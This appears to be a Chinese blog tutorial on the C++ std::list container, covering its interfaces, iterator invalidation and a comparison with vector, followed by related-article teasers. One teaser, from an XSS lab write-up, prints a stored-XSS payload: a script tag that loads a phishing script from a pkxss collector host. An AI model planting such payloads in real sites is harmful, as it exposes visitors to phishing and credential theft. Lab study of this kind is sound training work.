List容器(1):List容器的常用接口使用

一、List容器的介绍

1.list是可以在常数范围内任意位置进行插入和删除的序列式容器,并且该容器可以实现前后双向迭代。

2.list的底层是双向链表结构,双向链表中每个元素储存在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后面一个元素。

3.list和forward_list非常相似,不同点是forward_list是单链表,只能正向迭代,。

4.与其他序列式容器相比(array,vector,deque)list通常在任意位置进行插入,以及移除元素的执行效率更好。

5.与其他序列式容器相比,list和farward_list最大的缺陷,是不支持任意位置的随机访问,比如:要访问list的第5个元素我们只能通过迭代到这个位置才能对这个位置的元素进行访问。

在这段位置的迭代需要线性的时间开销,而且list还需要一些额外的空间,用来保存每个节点的相关信息。

其次string和vector的迭代器都是随机迭代器是可以通过一个指针进行模拟实现的。

list的迭代器是双向迭代器支持++,--,操作但是不支持+和-的操作,因为在lIst中加和减的效率极低。list中实现了专门的排序函数。

注意:使用unique函数可以对链表进行去重操作,但是去重之前要先进行排序操作,不排序的话去重可能不彻底

二、List容器的常见接口的使用

2.1 List的构造

构造函数接口说明
list(size_t type n, const value_type& val = value_type())构造的list中包含n个值为val的元素
list()构造一个空链表
list(const list& x)拷贝构造函数
list(Inputiterator first, Inputiterator last)通过迭代器区间中的元素来构造list

下面我们来看下关于list的构造的使用:

void test1()
{list<int> l1;//构造空的listlist<int> l2(6, 6); // 构造6个值为6的节点list<int> l3(l2); // 拷贝构造函数list<int> l4(l3.begin(), l3.end());//使用迭代器区间构造cout << l1.size() << endl;for (auto e : l2){cout << e << " ";}cout << endl;for (auto e : l3){cout << e << " ";}cout << endl;for (auto e : l4){cout << e << " ";}cout << endl;}

2.2 list的iterator的使用

函数声明接口说明
begin和endbegin返回第一个元素的迭代器,end返回最后一个元素的下一个位置的迭代器
rbegin和rendrbegin返回最后一个元素的后一个位置,rend返回第一个元素的位置

注意:

begin和end是正向迭代器,对迭代器进行++操作,迭代器向后移动。

rbegin和rend是反向迭代器,对迭代器执行++操作,迭代器向前移动。

下面我们来看看迭代器的使用实例:

void test2()
{list<int> l1;l1.push_back(1);l1.push_back(2);l1.push_back(3);l1.push_back(4);l1.push_back(5);l1.push_back(6);list<int>::iterator it = l1.begin();list<int> l2(l1);list<int>::reverse_iterator rit = l2.rbegin();//正向迭代器while (it != l1.end()){cout << *it << " ";it++;}cout << endl;//反向迭代器while (rit != l2.rend()){cout << *rit << " ";rit++;}cout << endl;
}

2.3 list capacity

函数声明接口说明
empty判断list是否为空,如果list为空就返回ture,否则返回false
size返回list中有效节点的个数

我们看下这两个函数的使用:

void test3()
{list<int> l1;list<int> l2;l2.push_back(1);l2.push_back(1);l2.push_back(1);l2.push_back(1);l2.push_back(1);cout << l1.empty() << " " << l1.size() << endl;cout << l2.empty() << " " << l2.size() << endl;
}

2.4 list的访问以及修改操作

函数名接口说明
front返回list的第一个节点储存的值
back返回list最后一个节点储存的值
push_front在list首元素的位置插入一个值为val的元素
pop_front删除list中的第一个元素
push_back在list尾部插入值为val的元素
pop_back删除list的最后一个元素
insert按pos位置插入一个值为val的元素
erase删除pos位置的元素
swap交换两个list对象
clear清空list中的有效元素

下面我们来看下这些函数的使用方法:

void test4()
{list<int> l1;list<int> l2;l1.push_front(1);l1.push_front(2);l1.push_back(3);l1.push_back(4);for (auto e : l1){cout << e << " ";}cout << endl;l1.pop_back();l1.pop_front();for (auto e : l1){cout << e << " ";}cout << endl;cout << l1.front() << " " << l1.back() << endl;l1.insert(l1.begin(), 2);l1.insert(l1.end(), 4);for (auto e : l1){cout << e << " ";}cout << endl;l1.erase(l1.begin());l1.erase(--l1.end());for (auto e : l1){cout << e << " ";}cout << endl;l2.swap(l1);for (auto e : l1){cout << e << " ";}cout << endl;for (auto e : l2){cout << e << " ";}cout << endl;l2.clear();cout << l2.size() << endl;}

三、list的迭代器失效问题

迭代器失效的原因是迭代器所指向的节点无效了,导致迭代器失效,即该节点被删除了,因为list的底层是双向带头循环链表,因此在对list进行插入操作时是不会导致list的迭代器失效的,只有在删除时才会失效,并且失效的迭代器只是指向被删除的那个节点的迭代器,其他迭代器是不受影响的。

下面我们来看下这段程序:

void test_iterator()
{list<int> l1(20, 6);auto it = l1.begin();for (auto e : l1){cout << e << " ";}cout << endl;while (it != l1.end()){//erase函数执行后,it指向的节点已经被删除了,因此it失效,在下一次使用it时必须先给it赋值l1.erase(it++);}cout << l1.empty() << " " << l1.size() << endl;
}

我们在erase时可以使用it++,但是如果erase之后再++程序就会报错,因为这时it已经失效了,也可是使用it = l1.erase(it);来进行更新,因为erase函数返回的是it的下一个迭代器位置。

四、list和vector的对比

vector和list都是stl库中重要的序列式容器,由于两个容器的底层结构不同,导致其特性以及应用场景不同:

vectorlist
底层结构动态顺序表,一段连续的内存空间带头节点的双向循环链表
随机访问支持随机访问,访问某个元素的效率是O(1)不支持随机访问,访问某个元素的时间复杂度是O(N)
插入和删除任意位置插入和删除的效率低,需要挪动元素,时间食杂度为O(n),插入可能需要扩容,扩容:开辟新空间,拷贝元素到新空间,然后释放旧空间,导致效率更低任意位置插入和删除效率高,不需要挪动元素,时间复杂度为O(1)
空间利用率底层是连续空间,不容易造成内存碎片,空间利用率高,缓存命中率高底层节点动态开辟,小节点容易造成内存碎片,空间利用率低,缓存命中率低
迭代器原生指针对原生指针进行封装
迭代器失效在插入元素时,要给所有的迭代器重新赋值,因为插入元素有可能会导致重新扩容,致使原来的迭代器失效,删除时,当前迭代器需要重新赋值否则会失效报错插入元素不会导致迭代器失效,删除时只会导致当前迭代器失效,其他迭代器不受影响
使用场景需要高效存储,支持随机访问,不关心插入删除效率大量插入和删除操作,不关心随机访问

关于list容器的介绍到这里就结束了,如果需要博客内的代码可以在下面链接中查看或者下载:
list的常用接口使用示例代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/15305.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【电源专题】什么是局部放电(Partial Discharge)

什么是局部放电? 当电压施加在含有两个以上绝缘材料的绝缘物体时,有一个绝缘材料发生放电且至少仍有一个绝缘材料维持正常的绝缘状态,此放电现象称之为局部放电(Partial Discharge)。 举例来说,当待测物的绝缘材料中存在异常气隙,因为空气的介电系数比绝缘材料低以及空气的…

家政服务,让您的家更温馨

家&#xff0c;是我们生活的港湾&#xff0c;也是我们心灵的归宿。在这个快节奏的时代&#xff0c;每个人都在为了生活而奔波。然而&#xff0c;家务琐事却常常成为我们忙碌生活中的绊脚石。为了解决这个问题&#xff0c;家政行业应运而生&#xff0c;为您的生活带来便利与舒适…

系统学习资料(备忘)

本文记录一些可以系统学习的资料&#xff1a; 【Java】 java程序员从小工到专家成神之路&#xff08;2024版&#xff09; | 程序那些事 Java技能树 【TLS/SSL】 图解SSL/TLS协议 - 阮一峰的网络日志

vite搭建React+ts+eslint+prettier

一、vite搭建ts模板 npm create vitelatest 项目名 -- --template react-ts//进入到项目文件夹 npm inpm run dev 初始化完成后已经配置好eslint src下一般只留下 初始化git仓库(可选) git init . 二、配置prettier npm i prettier eslint-config-prettier eslint-plugi…

【论文速读】GPT-1:Improving Language Understanding by Generative Pre-Training

摘要 自然语言理解包括广泛的不同的任务&#xff0c;如文本隐含、问题回答、语义相似性评估和文档分类。虽然大量的未标记文本语料库非常丰富&#xff0c;但用于学习这些特定任务的标记数据非常稀缺&#xff0c;这使得经过区别训练的模型要充分执行任务具有挑战性。我们证明&a…

Ubuntu(22.04)不能上网解决办法

想必大家可能在别的贴子看到用以下指令的方法&#xff0c;但是在22版本的ubuntu是行不通的&#xff0c;问题在于22版本中网络管理器的名字压根不是network-manager&#xff0c;而是 NetworkManager. sudo service network-manager stop sudo rm /var/lib/NetworkManager/Netw…

短剧APP开发,短剧行业发展下的财富密码

今年以来&#xff0c;短剧市场展现出了繁荣发展的态势&#xff0c;成为了一个风口赛道。 短剧具有不拖沓、时长短、剧情紧凑等优势&#xff0c;顺应了当代人的生活&#xff0c;是当代人的“电子榨菜”。 短剧的快速发展同时也带动了新业态新模式的发展&#xff0c;短剧APP就是…

ClickHouse vs. Elasticsearch: 计数聚合的工作原理

本文字数&#xff1a;7875&#xff1b;估计阅读时间&#xff1a;20 分钟 审校&#xff1a;庄晓东&#xff08;魏庄&#xff09; 介绍 在另一篇博客文章中&#xff0c;我们对 ClickHouse 和 Elasticsearch 在大规模数据分析和可观测性用例中的性能进行了比较&#xff0c;特别是对…

GitLab的原理及应用详解(三)

本系列文章简介: 随着软件开发的不断进步和发展,版本控制系统成为了现代软件开发过程中不可或缺的一部分。而GitLab作为其中一种流行的版本控制工具,在软件开发领域享有广泛的应用。GitLab不仅提供了强大的版本控制功能,还集成了项目管理、持续集成和部署、代码审查等多个功…

python-找出四位数中的玫瑰花数

【问题描述】玫瑰花数指一个n位数&#xff08;n>4),其每位上的数字的n次幂之和等于本身。 请求出所有四位数中的玫瑰花数 【输入形式】 【输出形式】 【样例输入】 【样例输出】1634 8208 9474 【样例说明】 【评分标准】 完整代码如下&#xff1a; for n in ra…

《计算机网络微课堂》1-2:因特网概述

1-2&#xff1a;因特网概述 网络、互连网&#xff08;互联网&#xff09;和因特网因特网发展的三个阶段因特网的标准化工作因特网的组成 ‍ 网络、互连网&#xff08;互联网&#xff09;和因特网 我们首先介绍网络、互联网&#xff08;互连网&#xff09;因特网的基本概念&a…

ensp-三层交换技术

交换机-三层交换 一.概述 单臂路由有明显的缺陷,单臂路由的链路使用率高,可能会造成网路拥塞,造成网络不可用 可以让多个交换机连接路由器的不同接口,但是路由器的接口毕竟有限,不像交换机一样有那么多接口 使用三层交换解决路由器接口不够用问题 二.三层交换 1.创建多个VLAN…

魔众文库系统v6.6.0分销功能,后台日志重构,文档转换优化

分销功能&#xff0c;后台日志重构&#xff0c;文档转换优化 [新功能] 升级支持支付宝授权登录最新方式 [新功能] 后台左上角标题支持自定义&#xff0c;修改 modstart.php 中 admin.title 配置 [新功能] 日志界面重构&#xff0c;全新日志查看体验 [新功能] 链接选择弹窗增…

学习笔记——交通安全分析01

目录 前言 当天学习笔记整理 绪论 结束语 前言 #随着上一轮SPSS学习完成之后&#xff0c;本人又开始了新教材《交通安全分析》的学习 #整理过程不易&#xff0c;喜欢UP就点个免费的关注趴 当天学习笔记整理 绪论 交通事故每年造成高达135万人死亡&#xff0c;是致人死…

idea 出现 cpu占用100%

一、IDEA的CPU占用率过高 二、解决办法 idea安装路径bin目录 修改idea64.exe.vmoptions配置文件 原来的 -Xms128m -Xmx750m -XX:ReservedCodeCacheSize240m -XX:UseConcMarkSweepGC -XX:SoftRefLRUPolicyMSPerMB50 修改为(IDEA优化内存配置) -Xms2048m -Xmx4096m -XX:Reser…

Android 项目中自定义多个 RadioButton 并排一列选择效果实现

文章目录 1、静态版实现1.1、实现要求1.2、实现步骤1.3、代码实现1.4、代码实现说明1.5、结论 2、项目版实现(动态)1、先看效果图2、main的布局文件3、定义RadioButton的属性4、最后在代码中生成我想要的东东5、说明 3、后续优化方向 1、静态版实现 1.1、实现要求 我们需要在…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源

产品概述: SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源。其外型与一个5050LED灯珠相同&#xff0c;每个元件即为一个像素点。像素点内部包含了智能数字接口数据锁存信号整形放大驱动电路&#xff0c;电源稳压电路&#xff0c;内置恒流电路&#xff0…

牛客101

1、用两个栈实现队列、 import java.util.Stack;public class Solution {Stack<Integer>stack1new Stack<Integer>();Stack<Integer>stack2new Stack<Integer>();public void push(int node){stack1.push(node);}public int pop(){while(!stack1.isEmp…

质数和约数

试除法判定质数 问题描述 给定 n 个正整数 ai&#xff0c;判定每个数是否是质数。 输入格式 第一行包含整数 n。 接下来 n 行&#xff0c;每行包含一个正整数 ai。 输出格式 共 n 行&#xff0c;其中第 i 行输出第 i 个正整数 ai 是否为质数&#xff0c;是则输出 Yes&am…